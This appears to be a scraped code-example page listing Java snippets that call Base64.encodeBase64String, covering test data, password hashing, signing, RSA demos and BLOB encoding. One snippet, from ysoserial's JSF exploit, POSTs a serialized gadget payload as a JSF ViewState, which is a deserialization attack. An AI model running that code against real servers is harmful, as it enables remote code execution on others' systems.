Example usage for org.apache.commons.codec.binary Base64 encodeBase64String

List of usage examples for org.apache.commons.codec.binary Base64 encodeBase64String

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Introduction

In this page you can find the example usage for org.apache.commons.codec.binary Base64 encodeBase64String.

Prototype

public static String encodeBase64String(final byte[] binaryData)

Source Link

Document

Encodes binary data using the base64 algorithm but does not chunk the output.

Usage

From source file:io.druid.query.aggregation.datasketches.quantiles.GenerateTestData.java

public static void main(String[] args) throws Exception {
    Path buildPath = FileSystems.getDefault().getPath("doubles_build_data.tsv");
    Path sketchPath = FileSystems.getDefault().getPath("doubles_sketch_data.tsv");
    BufferedWriter buildData = Files.newBufferedWriter(buildPath, StandardCharsets.UTF_8);
    BufferedWriter sketchData = Files.newBufferedWriter(sketchPath, StandardCharsets.UTF_8);
    Random rand = new Random();
    int sequenceNumber = 0;
    for (int i = 0; i < 20; i++) {
        int product = rand.nextInt(10);
        UpdateDoublesSketch sketch = UpdateDoublesSketch.builder().build();
        for (int j = 0; j < 20; j++) {
            double value = rand.nextDouble();
            buildData.write("2016010101");
            buildData.write('\t');
            buildData.write(Integer.toString(sequenceNumber)); // dimension with unique numbers for ingesting raw data
            buildData.write('\t');
            buildData.write(Integer.toString(product)); // product dimension
            buildData.write('\t');
            buildData.write(Double.toString(value));
            buildData.newLine();/*from w  w w .j  a  v  a  2 s  .  co  m*/
            sketch.update(value);
            sequenceNumber++;
        }
        sketchData.write("2016010101");
        sketchData.write('\t');
        sketchData.write(Integer.toString(product)); // product dimension
        sketchData.write('\t');
        sketchData.write(Base64.encodeBase64String(sketch.toByteArray(true)));
        sketchData.newLine();
    }
    buildData.close();
    sketchData.close();
}

From source file:jenkins.security.security218.ysoserial.exploit.JSF.java

public static void main(String[] args) {

    if (args.length < 3) {
        System.err.println(JSF.class.getName() + " <view_url> <payload_type> <payload_arg>");
        System.exit(-1);/*  www .  ja v a 2  s. c o m*/
    }

    final Object payloadObject = Utils.makePayloadObject(args[1], args[2]);

    try {
        URL u = new URL(args[0]);

        URLConnection c = u.openConnection();
        if (!(c instanceof HttpURLConnection)) {
            throw new IllegalArgumentException("Not a HTTP url");
        }

        HttpURLConnection hc = (HttpURLConnection) c;
        hc.setDoOutput(true);
        hc.setRequestMethod("POST");
        hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
        OutputStream os = hc.getOutputStream();

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(payloadObject);
        oos.close();
        byte[] data = bos.toByteArray();
        String requestBody = "javax.faces.ViewState="
                + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
        os.write(requestBody.getBytes("US-ASCII"));
        os.close();

        System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
    } catch (Exception e) {
        e.printStackTrace(System.err);
    }
    Utils.releasePayload(args[1], payloadObject);

}

From source file:com.board.games.handler.modx.MODXPokerLoginServiceImpl.java

public static void main(String[] a) {

    Verifier verifier = new Verifier();

    String dbHash = "iDxLTbkejeeaQqpPoZTqUCJfWo1ALcBf7gMlYwwMa+Y="; //"dlgQ65ruCfeVVxqHJ3Bf02j50P0Wvis7WOoTfHYV3Nk=";
    String password = "rememberme";
    String dbSalt = "008747a35b77a4c7e55ab7ea8aec3ee0";
    PasswordResponse response = new PasswordResponse();
    String salt = "008747a35b77a4c7e55ab7ea8aec3ee0";
    response.setAlgorithm(Algorithm.PBKDF2);
    response.setSalt(salt);// w  w w  .ja v  a  2  s .  c  om
    response.setAlgorithmDetails(new AlgorithmDetails());
    response.getAlgorithmDetails().setIterations(1000);
    response.getAlgorithmDetails().setHashFunction("SHA256");
    response.getAlgorithmDetails().setKeySize(263);
    PBEKeySpec spec = new PBEKeySpec(password.toCharArray(), salt.getBytes(), 1000,
            response.getAlgorithmDetails().getKeySize());
    try {
        SecretKeyFactory skf = PBKDF2Algorithms.getSecretKeyFactory(
                "PBKDF2WithHmac" + response.getAlgorithmDetails().getHashFunction().replace("-", ""));
        byte[] hash = skf.generateSecret(spec).getEncoded();

        String encodedHash = Base64.encodeBase64String(hash);
        response.setHash(encodedHash);

        System.out.println("hash " + response.getHash());
        if (verifier.verify(password, response)) {
            // Check it against database stored hash
            if (encodedHash.equals(dbHash)) {
                System.out.println("Authentication Successful");
            } else {
                System.out.println("Authentication failed");
            }

        } else {
            System.out.println("failed verification of hashing");
        }
    } catch (Exception e) {
        throw new IllegalStateException(e);
    }
}

From source file:com.apabi.qrcode.utils.DigestUtils.java

public static void main(final String[] as) {
    //I1+qP18tmDrGtMAvuGgQjQ==
    String str = "founder";
    byte[] bytes = DigestUtils.encryptByMd5(str, "UTF-16LE");
    System.out.println(Base64.encodeBase64String(DigestUtils.encryptByMd5(str, "UTF-16LE")));
}

From source file:bobs.mcapisignature.Signature.java

public static void main(String[] args) throws MCAPIException, CertificateException, SelectCertificateExceprion {
    byte[] data = "test".getBytes();

    System.out.println("Signing data '" + "test" + "' base64:" + Base64.encodeBase64String(data));
    Structures.CERT_CONTEXT cert = CertUtils.selectCert("Select cert for test", "Using Smartcard");
    X509Certificate x509Cert = CertUtils.getX509Certificate(cert);
    System.out.println("Signing whit cert: '" + x509Cert.getSubjectDN().toString());
    Signature signature = new Signature(cert);
    signature.setSignatureAlgorithm("SHA256withRSA");
    byte[] result = signature.sign(data);
    String resultb64 = Base64.encodeBase64String(result);
    System.out.println("result base64:" + resultb64);
}

From source file:hh.learnj.test.license.test.rsacoder.RSACoder.java

/**
 * @param args//  w w  w .ja  v  a  2 s  .  c  om
 * @throws Exception
 */
public static void main(String[] args) throws Exception {
    // ?
    // ?
    Map<String, Object> keyMap = RSACoder.initKey();
    // 
    byte[] publicKey = RSACoder.getPublicKey(keyMap);

    // ?
    byte[] privateKey = RSACoder.getPrivateKey(keyMap);
    System.out.println("/n" + Base64.encodeBase64String(publicKey));
    System.out.println("?/n" + Base64.encodeBase64String(privateKey));

    System.out.println(
            "================,?=============");
    String str = "RSA??";
    System.out.println("/n===========????==============");
    System.out.println(":" + str);
    // ?
    byte[] code1 = RSACoder.encryptByPrivateKey(str.getBytes(), privateKey);
    System.out.println("??" + Base64.encodeBase64String(code1));
    System.out.println("===========???==============");
    // ?
    byte[] decode1 = RSACoder.decryptByPublicKey(code1, publicKey);
    System.out.println("??" + new String(decode1) + "/n/n");

    System.out.println("===========????????==============/n/n");

    str = "????RSA";

    System.out.println(":" + str);

    // ?
    byte[] code2 = RSACoder.encryptByPublicKey(str.getBytes(), publicKey);
    System.out.println("===========?==============");
    System.out.println("??" + Base64.encodeBase64String(code2));

    System.out.println("=============??======================");
    System.out.println("===========??==============");

    // ??
    byte[] decode2 = RSACoder.decryptByPrivateKey(code2, privateKey);

    System.out.println("??" + new String(decode2));
}

From source file:Main.java

static String encodeBase64String(byte[] binaryData) {
    String encodedString = Base64.encodeBase64String(binaryData);

    if (encodedString.endsWith("\r\n")) {
        encodedString = encodedString.substring(0, encodedString.length() - 2);
    }/*w w  w .  ja v a2 s.co  m*/
    return encodedString;
}

From source file:com.ykun.commons.utils.security.Base64Utils.java

/**
 * encode
 */
public static String encode(byte[] data) {
    return Base64.encodeBase64String(data);
}

From source file:br.gov.to.secad.aede.util.CriptografiaHash.java

static public String codificar(String valor) {
    return Base64.encodeBase64String(valor.getBytes());
}

From source file:com.xqdev.sql.MLSQL.java

private static void addResultSet(Element root, ResultSet rs) throws SQLException {
    Namespace sql = root.getNamespace();

    ResultSetMetaData rsmd = rs.getMetaData();
    int columnCount = rsmd.getColumnCount();
    while (rs.next()) {
        Element tuple = new Element("tuple", sql);
        for (int i = 1; i <= columnCount; i++) {
            String colName = rsmd.getColumnName(i); // names aren't guaranteed OK in xml
            String colTypeName = rsmd.getColumnTypeName(i);

            // Decode a BLOB if one is found and place it into the result as a encoded Base 64 string
            String colValue = "";
            if ("BLOB".equalsIgnoreCase(colTypeName)) {
                Blob b = rs.getBlob(i);
                if (b != null && b.length() > 0) {
                    Base64 b64 = new Base64();
                    String b64Blob = b64.encodeBase64String(b.getBytes(1, (int) b.length()));
                    colValue = b64Blob;
                } else
                    colValue = "";
            } else {
                colValue = rs.getString(i);
            }/*from  w w  w . j a  va2s.  c o m*/

            boolean wasNull = rs.wasNull();
            Element elt = new Element(colName);
            if (wasNull) {
                elt.setAttribute("null", "true");
            }
            if ("UNKNOWN".equalsIgnoreCase(colTypeName)) {
                tuple.addContent(elt.setText("UNKNOWN TYPE")); // XXX ugly
            } else {
                tuple.addContent(elt.setText(colValue));
            }
        }
        root.addContent(tuple);
    }

}